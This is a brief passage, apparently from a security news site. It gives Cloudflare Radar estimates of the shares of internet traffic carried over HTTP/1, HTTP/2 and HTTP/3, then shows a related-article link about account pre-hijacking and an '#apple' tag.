Cloudflare Radar estimates that 8% of internet traffic is HTTP/1-based, followed by HTTP/2 at 67%, and HTTP/3 at 25%.

**YOU MIGHT ALSO LIKE** Dozens of high-traffic websites vulnerable to ‘account pre-hijacking’, study finds

Tag

#apple